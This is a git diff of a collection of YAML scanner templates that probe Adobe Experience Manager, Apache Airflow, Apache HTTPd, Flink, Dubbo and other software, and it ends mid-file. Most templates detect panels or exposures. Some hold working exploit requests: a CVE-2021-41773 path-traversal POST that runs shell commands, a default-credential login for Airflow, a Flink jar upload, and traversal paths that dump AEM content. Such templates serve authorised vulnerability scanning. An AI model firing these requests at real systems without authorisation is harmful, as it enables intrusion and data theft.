mode 100644 index 0000000000..4ac0aaf165 --- /dev/null +++ b/poc/adobe/aem-secrets.yaml @@ -0,0 +1,44 @@ +id: aem-secrets + +info: + name: AEM Secrets - Sensitive Information Disclosure + author: j3ssie & boobooHQ + severity: high + reference: + - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/ + description: | + Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc. + metadata: + max-request: 2 + verified: "true" + tags: aem,adobe,misconfig,exposure + +requests: + - method: GET + path: + - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" + - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" + + headers: + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 + Accept-Language: en-US,en;q=0.9,hi;q=0.8 + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"jcr:uuid"' + - '"jcr:createdBy"' + - '"uri"' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 diff --git a/poc/adobe/aem-setpreferences-xss-189.yaml b/poc/adobe/aem-setpreferences-xss-189.yaml index 87462f5774..50e7da80ff 100644 --- a/poc/adobe/aem-setpreferences-xss-189.yaml +++ b/poc/adobe/aem-setpreferences-xss-189.yaml @@ -1,13 +1,13 @@ id: aem-setpreferences-xss info: - name: AEM setPreferences - Cross-Site Scripting + name: AEM setPreferences XSS author: zinminphy0,dhiyaneshDK - severity: medium reference: - https://www.youtube.com/watch?v=VwLSUHNhrOw&t=142s - https://github.com/projectdiscovery/nuclei-templates/issues/3225 - https://twitter.com/zin_min_phyo/status/1465394815042916352 + severity: medium tags: aem,xss requests: @@ -27,4 +27,4 @@ requests: - type: status status: - - 400 + - 400 \ No newline at end of file diff --git a/poc/adobe/aem-userinfo-servlet-190.yaml b/poc/adobe/aem-userinfo-servlet-190.yaml new file mode 100644 index 0000000000..01684b7d96 --- /dev/null +++ b/poc/adobe/aem-userinfo-servlet-190.yaml @@ -0,0 +1,31 @@ +id: aem-userinfo-servlet + +info: + author: DhiyaneshDk + name: AEM UserInfo Servlet + severity: info + description: UserInfoServlet is exposed which allows an attacker to bruteforce credentials. You can get valid usernames from jcr:createdBy, jcr:lastModifiedBy, cq:LastModifiedBy attributes of any JCR node. + tags: aem,bruteforce + + +requests: + - method: GET + path: + - '{{BaseURL}}/libs/cq/security/userinfo.json' + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - '"userID":' + - '"userName":' + condition: and + + - type: word + part: header + words: + - 'application/json' diff --git a/poc/adobe/aem-userinfo-servlet-193.yaml b/poc/adobe/aem-userinfo-servlet-193.yaml deleted file mode 100644 index 0fe58a4195..0000000000 --- a/poc/adobe/aem-userinfo-servlet-193.yaml +++ /dev/null @@ -1,25 +0,0 @@ -id: aem-userinfo-servlet - -info: - author: DhiyaneshDk - name: AEM UserInfo Servlet - severity: info - description: UserInfoServlet is exposed, it allows to bruteforce credentials. You can get valid usernames from jcr:createdBy, jcr:lastModifiedBy, cq:LastModifiedBy attributes of any JCR node. - tags: aem - - -requests: - - method: GET - path: - - '{{BaseURL}}/libs/cq/security/userinfo.json' - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - 'userName' - - 'userID' - condition: and diff --git a/poc/adobe/aem-userinfo-servlet.yaml b/poc/adobe/aem-userinfo-servlet.yaml index 01684b7d96..319dc32467 100644 --- a/poc/adobe/aem-userinfo-servlet.yaml +++ b/poc/adobe/aem-userinfo-servlet.yaml @@ -1,17 +1,20 @@ id: aem-userinfo-servlet info: + name: AEM UserInfo Servlet Credentials Exposure author: DhiyaneshDk - name: AEM UserInfo Servlet severity: info - description: UserInfoServlet is exposed which allows an attacker to bruteforce credentials. You can get valid usernames from jcr:createdBy, jcr:lastModifiedBy, cq:LastModifiedBy attributes of any JCR node. - tags: aem,bruteforce + description: "Adobe Experience Manager UserInfoServlet is exposed which allows an attacker to bruteforce credentials. You can get valid usernames from jcr:createdBy, jcr:lastModifiedBy, cq:LastModifiedBy attributes of any JCR node." + metadata: + max-request: 1 + shodan-query: http.component:"Adobe Experience Manager" + tags: aem,bruteforce,misconfig - -requests: +http: - method: GET path: - '{{BaseURL}}/libs/cq/security/userinfo.json' + matchers-condition: and matchers: - type: status @@ -29,3 +32,5 @@ requests: part: header words: - 'application/json' + +# digest: 4a0a00473045022006348e31c7ddb5d35d735663bd90b53b35c040db39a04948a9f1e79c8bafa9fb022100b71d1a5aaa46d7c2b9556484144ee9587c9bd3ffaf54ffd7520841d4358653b4:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/aem-wcm-suggestions-servlet-194.yaml b/poc/adobe/aem-wcm-suggestions-servlet-194.yaml index 00145f1123..009f96d571 100644 --- a/poc/adobe/aem-wcm-suggestions-servlet-194.yaml +++ b/poc/adobe/aem-wcm-suggestions-servlet-194.yaml @@ -1,13 +1,12 @@ id: aem-wcm-suggestions-servlet - info: - name: AEM WCM Suggestions Servlet author: DhiyaneshDk + name: AEM WCM Suggestions Servlet severity: low - reference: - - https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=96 + reference: https://speakerdeck.com/0ang3el/hunting-for-security-bugs-in-aem-webapps?slide=96 tags: aem + requests: - method: GET path: diff --git a/poc/adobe/aem-xss-childlist-selector-197.yaml b/poc/adobe/aem-xss-childlist-selector-197.yaml new file mode 100644 index 0000000000..5af6dbfdac --- /dev/null +++ b/poc/adobe/aem-xss-childlist-selector-197.yaml @@ -0,0 +1,45 @@ +id: aem-xss-childlist-selector + +info: + name: Adobe Experience Manager - Cross-Site Scripting + author: dhiyaneshDk + severity: high + description: | + Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the selector childlist when the dispatcher does not respect the content-type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser. + reference: + - https://github.com/thomashartm/burp-aem-scanner/blob/master/src/main/java/burp/actions/xss/FlippingTypeWithChildrenlistSelector.java + - https://cystack.net/en/plugins/cystack.remote.aem_childlist_selector_xss + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cwe-id: CWE-79 + metadata: + max-request: 1 + shodan-query: + - http.title:"AEM Sign In" + - http.component:"Adobe Experience Manager" + tags: xss,aem,adobe,misconfig + +http: + - method: GET + path: + - '{{BaseURL}}/etc/designs/xh1x.childrenlist.json//.html' + + matchers-condition: and + matchers: + - type: word + words: + - '' + - '{"path":"/etc/designs/xh1x.childrenlist.json' + condition: and + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 + +# digest: 4a0a0047304502207b61a53e332c41cf7528557e949b48fd87b864d6be1954c66d7ee9ea2ad4facc022100bb85d07b638b7c81e2fade398eeb93d076fa7792b69cf65f8f31abcaac1a2b45:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/possible-AEM-secrets.yaml b/poc/adobe/possible-AEM-secrets.yaml deleted file mode 100644 index 198c19fcd3..0000000000 --- a/poc/adobe/possible-AEM-secrets.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: aem-secrets - -info: - name: AEM Secrets - Sensitive Information Disclosure - author: boobooHQ,j3ssie - severity: high - description: | - Possible Juicy Files can be discovered at this endpoint. Search / Grep for secrets like hashed passwords ( SHA ) , internal email disclosure etc. - reference: - - https://www.linkedin.com/feed/update/urn:li:activity:7066003031271616513/ - metadata: - verified: true - max-request: 2 - tags: aem,adobe,misconfig,exposure - -http: - - method: GET - path: - - "{{BaseURL}}//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" - - "{{BaseURL}}/..;//content/dam/formsanddocuments.form.validator.html/home/....children.tidy...infinity..json" - - headers: - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - Accept-Language: en-US,en;q=0.9,hi;q=0.8 - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"jcr:uuid"' - - '"jcr:createdBy"' - - '"uri"' - condition: and - - - type: word - part: header - words: - - application/json - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100f26aef400ffc895f1d84d377c7c8889af3a56490902382de4d7e2504f59b48bc02210090f54e744e9f760d4a740a9b6d7fe6a61d4904e4823b4d43318598fd8b2b10ce:922c64590222798bb761d5b6d8e72950 diff --git a/poc/adobe/vmware-authentication-daemon-detect.yaml b/poc/adobe/vmware-authentication-daemon-detect.yaml new file mode 100644 index 0000000000..e7d189ea39 --- /dev/null +++ b/poc/adobe/vmware-authentication-daemon-detect.yaml @@ -0,0 +1,34 @@ +id: vmware-authentication-daemon + +info: + name: VMware Authentication Daemon Detection + author: pussycat0x + severity: info + description: | + vmauthd is the VMWare authentication daemon that is included with many VMWare products, including ESX(i), and Workstation. + metadata: + max-request: 1 + shodan-query: product:"VMware Authentication Daemon" + verified: true + tags: network,vmware,authenticated,detect + +tcp: + + - inputs: + - data: "\n" + host: + - "{{Hostname}}" + port: 902 + + matchers: + - type: word + words: + - "ServerDaemonProtocol:SOAP" + - "MKSDisplayProtocol:VNC" + condition: and + + extractors: + - type: regex + regex: + - "VMware Authentication Daemon Version ([0-9.]+)" +# digest: 4b0a00483046022100add76e9416a775c6a103bf440021834239728444a60b926aa23eb09845f2117d022100c7f2bc47f4a531836f8390e9df199a639fdfcd5d757b94fb74f1fa1aced91cde:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/airflow/airflow-default-login.yaml b/poc/airflow/airflow-default-login-234.yaml similarity index 100% rename from poc/airflow/airflow-default-login.yaml rename to poc/airflow/airflow-default-login-234.yaml diff --git a/poc/airflow/airflow-default-login-235.yaml b/poc/airflow/airflow-default-login-235.yaml deleted file mode 100644 index 772e1ffd78..0000000000 --- a/poc/airflow/airflow-default-login-235.yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: airflow-default-login - -info: - name: Apache Airflow Default Login - author: pdteam - severity: high - description: An Apache Airflow default login was discovered. - reference: - - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 - metadata: - shodan-query: title:"Sign In - Airflow" - tags: airflow,default-login,apache - -requests: - - raw: - - | - GET /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - - | - POST /login/ HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - Referer: {{BaseURL}}/admin/airflow/login - - username={{username}}&password={{password}}&_csrf_token={{csrf_token}} - - attack: pitchfork - payloads: - username: - - airflow - password: - - airflow - - cookie-reuse: true - extractors: - - type: regex - name: csrf_token - group: 1 - internal: true - regex: - - 'type="hidden" value="(.*?)">' - - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - 'contains(body_1, "Sign In - Airflow")' - - 'contains(all_headers_2, "session=.")' - - 'status_code_2 == 302' - condition: and - - - type: word - words: - - 'You should be redirected automatically to target URL: ' - -# Enhanced by mp on 2022/03/22 diff --git a/poc/airflow/airflow-default-login-236.yaml b/poc/airflow/airflow-default-login-236.yaml index cef2568e5d..772e1ffd78 100644 --- a/poc/airflow/airflow-default-login-236.yaml +++ b/poc/airflow/airflow-default-login-236.yaml @@ -1,18 +1,27 @@ id: airflow-default-login + info: name: Apache Airflow Default Login author: pdteam - severity: critical - tags: airflow,default-login,apache - reference: https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + severity: high + description: An Apache Airflow default login was discovered. + reference: + - https://airflow.apache.org/docs/apache-airflow/stable/start/docker.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 metadata: shodan-query: title:"Sign In - Airflow" + tags: airflow,default-login,apache + requests: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} + - | POST /login/ HTTP/1.1 Host: {{Hostname}} @@ -21,12 +30,14 @@ requests: Referer: {{BaseURL}}/admin/airflow/login username={{username}}&password={{password}}&_csrf_token={{csrf_token}} + attack: pitchfork payloads: username: - airflow password: - airflow + cookie-reuse: true extractors: - type: regex @@ -35,6 +46,7 @@ requests: internal: true regex: - 'type="hidden" value="(.*?)">' + req-condition: true matchers-condition: and matchers: @@ -44,6 +56,9 @@ requests: - 'contains(all_headers_2, "session=.")' - 'status_code_2 == 302' condition: and + - type: word words: - 'You should be redirected automatically to target URL: ' + +# Enhanced by mp on 2022/03/22 diff --git a/poc/airflow/airflow-panel.yaml b/poc/airflow/airflow-panel.yaml index 8509d74c08..e4a9faae5e 100644 --- a/poc/airflow/airflow-panel.yaml +++ b/poc/airflow/airflow-panel.yaml @@ -7,22 +7,23 @@ info: description: An Apache Airflow admin login panel was discovered. reference: - https://airflow.apache.org/docs/apache-airflow/stable/security/webserver.html - tags: panel,apache,airflow,admin + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0 + cwe-id: CWE-668 metadata: + max-request: 2 shodan-query: title:"Sign In - Airflow" - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cve-id: - cwe-id: CWE-522 + tags: panel,apache,airflow,admin -requests: +http: - method: GET path: - "{{BaseURL}}/login/" - "{{BaseURL}}/admin/airflow/login" stop-at-first-match: true + matchers-condition: and matchers: - type: word @@ -35,4 +36,4 @@ requests: status: - 200 -# Enhanced by mp on 2022/03/21 +# digest: 4a0a00473045022100dc344062e72f17016718b6701463e9c47bc571a42bb310121b1aeff57ca5116602205682e09cc2e9a3ee4272448c6eae8b543fdf502349ddf091a64223d7753d43f3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/airflow/unauthenticated-airflow-10886.yaml b/poc/airflow/unauthenticated-airflow-10886.yaml index afe4ed1f3c..addadb23e3 100644 --- a/poc/airflow/unauthenticated-airflow-10886.yaml +++ b/poc/airflow/unauthenticated-airflow-10886.yaml @@ -3,9 +3,9 @@ info: name: Unauthenticated Airflow Instance author: dhiyaneshDK severity: high + tags: apache,airflow,unauth metadata: shodan-query: title:"Airflow - DAGs" - tags: apache,airflow,unauth requests: - method: GET path: diff --git a/poc/airflow/unauthenticated-airflow-10887.yaml b/poc/airflow/unauthenticated-airflow-10887.yaml new file mode 100644 index 0000000000..43435c6aae --- /dev/null +++ b/poc/airflow/unauthenticated-airflow-10887.yaml @@ -0,0 +1,24 @@ +id: unauthenticated-airflow-instance +info: + name: Unauthenticated Airflow Instance + author: dhiyaneshDK + severity: high + tags: apache,airflow,unauth +requests: + - method: GET + path: + - "{{BaseURL}}/admin/" + matchers-condition: and + matchers: + - type: word + words: + - "Content-Type: text/html" + part: header + - type: word + words: + - "Airflow - DAGs" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/apache/apache-apisix-panel-336.yaml b/poc/apache/apache-apisix-panel-336.yaml new file mode 100644 index 0000000000..dbd94dc5bf --- /dev/null +++ b/poc/apache/apache-apisix-panel-336.yaml @@ -0,0 +1,33 @@ +id: apache-apisix-panel + +info: + name: Apache APISIX Login Panel + author: pikpikcu + severity: info + description: An Apache APISIX login panel was detected. + metadata: + fofa-query: title="Apache APISIX Dashboard" + tags: apache,apisix,panel + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N + cvss-score: 0.0 + cve-id: + cwe-id: CWE-200 + +requests: + - method: GET + path: + - "{{BaseURL}}/user/login?redirect=%2F" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Apache APISIX Dashboard' + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/03/16 diff --git a/poc/apache/apache-apisix-panel-338.yaml b/poc/apache/apache-apisix-panel-338.yaml deleted file mode 100644 index 2c6124e710..0000000000 --- a/poc/apache/apache-apisix-panel-338.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: apache-apisix-panel - -info: - name: Apache APISIX Login Panel - author: pikpikcu - severity: info - description: An Apache APISIX login panel was detected. - classification: - cwe-id: CWE-200 - metadata: - fofa-query: title="Apache APISIX Dashboard" - tags: apache,apisix,panel - -requests: - - method: GET - path: - - "{{BaseURL}}/user/login?redirect=%2F" - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'Apache APISIX Dashboard' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/03/16 diff --git a/poc/apache/apache-axis-detect.yaml b/poc/apache/apache-axis-detect.yaml new file mode 100644 index 0000000000..3d78cd86bd --- /dev/null +++ b/poc/apache/apache-axis-detect.yaml @@ -0,0 +1,32 @@ +id: apache-axis-detect + +info: + name: apache-axis-detect + author: dogasantos + severity: info + description: Axis and Axis2 detection + tags: tech,axis2,middleware,apache + +requests: + - method: GET + path: + - "{{BaseURL}}" + - "{{BaseURL}}/axis2/" + - "{{BaseURL}}/axis/" + + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Validate" + - "Welcome" + - "Axis" + - "deployed" + - "installation" + - "Admin" + condition: and + + - type: status + status: + - 200 diff --git a/poc/apache/apache-cocoon-detect-342.yaml b/poc/apache/apache-cocoon-detect-342.yaml new file mode 100644 index 0000000000..64f8870cf3 --- /dev/null +++ b/poc/apache/apache-cocoon-detect-342.yaml @@ -0,0 +1,33 @@ +id: apache-cocoon-detect + +info: + name: Apache Cocoon detect + author: ffffffff0x + severity: info + metadata: + verified: true + max-request: 1 + shodan-query: http.html:"Apache Cocoon" + fofa-query: app="APACHE-Cocoon" + tags: apache,cocoon,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + host-redirects: true + max-redirects: 2 + matchers: + - type: word + part: header + words: + - "X-Cocoon-Version" + + extractors: + - type: regex + part: header + regex: + - 'X\-Cocoon\-Version:([ 0-9.]+)' + +# digest: 4a0a0047304502207c3d5c05569282470766be7f10fec3c51d0b735651fac58a14d156cfe1b9a315022100ac0031c5ee4914905f47336472e3c56e443937e733b2ae348e006042060158f3:922c64590222798bb761d5b6d8e72950 diff --git a/poc/apache/apache-cocoon-detect.yaml b/poc/apache/apache-cocoon-detect.yaml deleted file mode 100644 index 1d3b85ddc5..0000000000 --- a/poc/apache/apache-cocoon-detect.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: apache-cocoon-detect -info: - name: Apache Cocoon detect - author: ffffffff0x - severity: info - metadata: - fofa-query: app="APACHE-Cocoon" - tags: apache,cocoon,tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - redirects: true - max-redirects: 2 - matchers: - - type: word - part: header - words: - - "X-Cocoon-Version" - - extractors: - - type: regex - part: header - regex: - - 'X\-Cocoon\-Version:([ 0-9.]+)' diff --git a/poc/apache/apache-config-344.yaml b/poc/apache/apache-config-344.yaml deleted file mode 100644 index c003edd7c2..0000000000 --- a/poc/apache/apache-config-344.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: apache-config - -info: - name: Apache Configuration File - Detect - author: sheikhrishad - severity: medium - description: Apache configuration file was detected. - remediation: Remove the configuration file from the web root. - reference: - - https://httpd.apache.org/docs/2.4/configuring.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cwe-id: CWE-200 - metadata: - max-request: 1 - tags: config,exposure,apache - -http: - - method: GET - path: - - "{{BaseURL}}/apache.conf" - - matchers: - - type: dsl - dsl: - - "contains(body, '') && status_code == 200" - - "contains(body, '') && status_code == 200" - condition: or - -# digest: 490a0046304402206ce734229f3fe43a990eca7a176878c7d0261f607053ff05f58dec53f2a9220e02206ec277b5d9894ac13f11a80a1ee029b011fda4db93b7e47cb4310cce1411c5f8:922c64590222798bb761d5b6d8e72950 diff --git a/poc/apache/apache-config.yaml b/poc/apache/apache-config.yaml new file mode 100644 index 0000000000..ff29e6336f --- /dev/null +++ b/poc/apache/apache-config.yaml @@ -0,0 +1,19 @@ +id: apache-config + +info: + name: Apache Config file disclosure + author: sheikhrishad + severity: low + tags: config,exposure,apache + +requests: + - method: GET + path: + - "{{BaseURL}}/apache.conf" + + matchers: + - type: dsl + dsl: + - "contains(body, '') && status_code == 200" + - "contains(body, '') && status_code == 200" + condition: or \ No newline at end of file diff --git a/poc/apache/apache-detect-347.yaml b/poc/apache/apache-detect-347.yaml index 4db33ceb08..eeb8966be3 100644 --- a/poc/apache/apache-detect-347.yaml +++ b/poc/apache/apache-detect-347.yaml @@ -27,4 +27,4 @@ requests: - type: kval part: header kval: - - Server \ No newline at end of file + - Server diff --git a/poc/apache/apache-dubbo-detect-351.yaml b/poc/apache/apache-dubbo-detect-351.yaml new file mode 100644 index 0000000000..abc3adf65b --- /dev/null +++ b/poc/apache/apache-dubbo-detect-351.yaml @@ -0,0 +1,23 @@ +id: apache-dubbo-detect + +info: + name: Apache dubbo detect + author: ffffffff0x + severity: info + metadata: + max-request: 1 + fofa-query: app="APACHE-dubbo" + tags: apache,dubbo,tech + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers: + - type: word + part: header + words: + - "Basic realm=\"dubbo\"" + +# digest: 490a0046304402207eab0da9fbf6224308f2509f78c874e04fbc4455c9375f51e7ccca501468294b02207f55571310092ba7d00229e95f7779280d0234242c34b50cacc03f5dd7777311:922c64590222798bb761d5b6d8e72950 diff --git a/poc/apache/apache-dubbo-detect.yaml b/poc/apache/apache-dubbo-detect.yaml deleted file mode 100644 index 7005b42a4c..0000000000 --- a/poc/apache/apache-dubbo-detect.yaml +++ /dev/null @@ -1,19 +0,0 @@ -id: apache-dubbo-detect -info: - name: Apache dubbo detect - author: ffffffff0x - severity: info - metadata: - fofa-query: app="APACHE-dubbo" - tags: apache,dubbo,tech - -requests: - - method: GET - path: - - "{{BaseURL}}" - - matchers: - - type: word - part: header - words: - - "Basic realm=\"dubbo\"" diff --git a/poc/apache/apache-dubbo-unauth.yaml b/poc/apache/apache-dubbo-unauth.yaml new file mode 100644 index 0000000000..bd5e4743d4 --- /dev/null +++ b/poc/apache/apache-dubbo-unauth.yaml @@ -0,0 +1,31 @@ +id: apache-dubbo-unauth + +info: + name: Apache Dubbo - Unauthenticated Access + author: j4vaovo + severity: high + description: | + Apache Dubbo Unauthenticated Access were detected. + reference: + - https://dubbo.apache.org/en/docs3-v2/java-sdk/advanced-features-and-usage/security/auth/ + metadata: + fofa-query: apache dubbo + max-request: 1 + verified: true + tags: network,dubbo,apache,unauth,misconfig + +tcp: + - inputs: + - data: "68656c700d0a" + type: hex + + host: + - "{{Hostname}}" + port: 20880 + read-size: 2048 + + matchers: + - type: word + words: + - "trace [service] [method] [times]" +# digest: 4a0a00473045022019baed158798bd7636f8936ae6391035ee1f3cf0f6969604340953f8f06eb9530221009c8b40931f9eb4ebebf117f4b5fa3250df9ddb124d3973eb74145b11fa82e355:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/apache/apache-filename-enum-354.yaml b/poc/apache/apache-filename-enum-354.yaml new file mode 100644 index 0000000000..7eddfe01e9 --- /dev/null +++ b/poc/apache/apache-filename-enum-354.yaml @@ -0,0 +1,36 @@ +id: apache-filename-enum + +info: + name: Apache Filename Enumeration + author: geeknik + severity: low + description: If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. + reference: + - https://hackerone.com/reports/210238 + - https://www.acunetix.com/vulnerabilities/web/apache-mod_negotiation-filename-bruteforcing/ + metadata: + max-request: 1 + tags: apache,misconfig,hackerone + +http: + - method: GET + + headers: + Accept: "fake/value" + path: + - "{{BaseURL}}/index" + + matchers-condition: and + matchers: + - type: status + status: + - 406 + + - type: word + words: + - "Not Acceptable" + - "Available variants:" + - "
Apache Server at" + condition: and + +# digest: 4b0a00483046022100b2ca66ab92aee03e5a60e28447ab4144da2ca1be69f322812581c250fac52b33022100f17850ca1f575b1427d7732e20795fb329445f7a3d7b68a8626a565502fa78a2:922c64590222798bb761d5b6d8e72950 diff --git a/poc/apache/apache-filename-enum.yaml b/poc/apache/apache-filename-enum.yaml deleted file mode 100644 index 5a6f43d2f1..0000000000 --- a/poc/apache/apache-filename-enum.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: apache-filename-enum - -info: - name: Apache Filename Enumeration - author: geeknik - severity: low - description: If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing. - reference: - - https://hackerone.com/reports/210238 - - https://www.acunetix.com/vulnerabilities/web/apache-mod_negotiation-filename-bruteforcing/ - tags: apache,misconfig - -requests: - - method: GET - headers: - Accept: "fake/value" - path: - - "{{BaseURL}}/index" - - matchers-condition: and - matchers: - - type: status - status: - - 406 - - type: word - words: - - "Not Acceptable" - - "Available variants:" - - "
Apache Server at" - condition: and diff --git a/poc/apache/apache-flink-unauth-rce-355.yaml b/poc/apache/apache-flink-unauth-rce-356.yaml similarity index 100% rename from poc/apache/apache-flink-unauth-rce-355.yaml rename to poc/apache/apache-flink-unauth-rce-356.yaml diff --git a/poc/apache/apache-flink-unauth-rce.yaml b/poc/apache/apache-flink-unauth-rce.yaml new file mode 100644 index 0000000000..cfb2281c08 --- /dev/null +++ b/poc/apache/apache-flink-unauth-rce.yaml @@ -0,0 +1,41 @@ +id: apache-flink-unauth-rce +info: + name: Apache Flink Unauth RCE + author: pikpikcu + severity: critical + tags: apache,flink,rce + reference: | + - https://www.exploit-db.com/exploits/48978 + - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3 + - https://github.com/LandGrey/flink-unauth-rce +requests: + - raw: + - | + POST /jars/upload HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 + Content-Length: 187 + Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3 + + --8ce4b16b22b58894aa86c421e8759df3 + Content-Disposition: form-data; name="jarfile";filename="poc.jar" + Content-Type:application/octet-stream + + nuclei + --8ce4b16b22b58894aa86c421e8759df3-- + matchers-condition: and + matchers: + - type: word + words: + - "application/json" + part: header + condition: and + - type: word + words: + - "success" + - "_poc.jar" + part: body + condition: and + - type: status + status: + - 200 diff --git a/poc/apache/apache-guacamole-361.yaml b/poc/apache/apache-guacamole-361.yaml new file mode 100644 index 0000000000..5bb875b5a0 --- /dev/null +++ b/poc/apache/apache-guacamole-361.yaml @@ -0,0 +1,32 @@ +id: apache-guacamole + +info: + name: Apache Guacamole Login Page and version detection + author: r3dg33k + severity: info + metadata: + max-request: 1 + tags: apache,guacamole,tech,login + +http: + - method: GET + path: + - "{{BaseURL}}/translations/en.json" + + matchers-condition: and + matchers: + - type: word + words: + - 'Apache Guacamole' + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + regex: + - '"VERSION":"[0-9]+\.2\.0"' + +# digest: 490a0046304402201c1e33f0ad9a3171cd4a145ce4f65e3f38a7889839979bf134926b1b305404ac022004790b5e2c61c406002a7bce3989c328859774f45cec314c0d69e07c131b9ea5:922c64590222798bb761d5b6d8e72950 diff --git a/poc/apache/apache-guacamole.yaml b/poc/apache/apache-guacamole.yaml deleted file mode 100644 index 263a49278b..0000000000 --- a/poc/apache/apache-guacamole.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: apache-guacamole - -info: - name: Apache Guacamole Login Page and version detection - author: r3dg33k - severity: info - tags: apache,guacamole,tech,login - -requests: - - method: GET - path: - - "{{BaseURL}}/translations/en.json" - - matchers-condition: and - matchers: - - type: word - words: - - 'Apache Guacamole' - - - type: status - status: - - 200 - - extractors: - - type: regex - part: body - regex: - - '"VERSION":"[0-9]+\.2\.0"' diff --git a/poc/apache/apache-httpd-rce-362.yaml b/poc/apache/apache-httpd-rce-362.yaml new file mode 100644 index 0000000000..e5f0bcbea2 --- /dev/null +++ b/poc/apache/apache-httpd-rce-362.yaml @@ -0,0 +1,41 @@ +id: apache-httpd-rce + +info: + name: Apache HTTPd - 2.4.49 (CGI enabled) RCE + author: pdteam + severity: critical + description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by require all denied these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. + reference: + - https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782 + - https://nvd.nist.gov/vuln/detail/CVE-2021-41773 + - https://twitter.com/ptswarm/status/1445376079548624899 + - https://github.com/blasty/CVE-2021-41773 + tags: cve,cve2021,rce,apache + +requests: + - raw: + - | + POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + echo Content-Type: text/plain; echo; id + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + condition: and + part: body + words: + - 'uid=' + - 'gid=' + - 'groups=' + + extractors: + - type: regex + regex: + - "(u|g)id=.*" diff --git a/poc/apache/apache-httpd-rce.yaml b/poc/apache/apache-httpd-rce.yaml index 89a987e51b..6c7d8e9b31 100644 --- a/poc/apache/apache-httpd-rce.yaml +++ b/poc/apache/apache-httpd-rce.yaml @@ -1,4 +1,5 @@ id: apache-httpd-rce + info: name: Apache HTTPd - 2.4.49 (CGI enabled) RCE author: pdteam @@ 